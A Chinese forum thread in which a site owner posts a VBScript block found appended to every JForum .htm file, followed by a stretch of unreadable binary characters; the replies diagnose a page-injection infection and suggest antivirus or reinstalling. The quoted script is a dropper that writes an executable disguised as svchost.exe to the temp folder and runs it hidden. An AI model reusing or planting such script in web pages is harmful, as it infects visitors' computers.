今天早晨,打开JForum论坛程序,发现每个htm文件的文件末尾都加上了一段这样的脚本,我看不懂什么意思,请大家帮忙看看啊!!!
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT><!--{氱y圴,崫b釗b?府?d*M岄?m礣驐I賉3wp?-|7舶喬??~D*?0V$紇掐匒:3,N9胺櫜Rh7鞳A〗藏群h滿O?:j剅?闂窐)羉;选?2闅挣姫?琦蟎q礲MSe?9??禔癓S锏篗~?5墴戼6z5/S:?3Rv枾&
籃x??.?蜷丏?=v?&
A?闠讵闤p??協r}擘鰷C?詀Ob?
2毷蜺L?&tS?跈\056G檥
------解决方案--------------------------------------------------------
显然是,楼主赶快处理
svchost.exe被注入东西了
------解决方案--------------------------------------------------------
断网,杀毒。
不行就只能重装系统了。。。
------解决方案--------------------------------------------------------
显然被挂马了
------解决方案--------------------------------------------------------
果断中毒了。建议安装nod32或是小红伞。
------解决方案--------------------------------------------------------
好像乱码了!重装系统吧!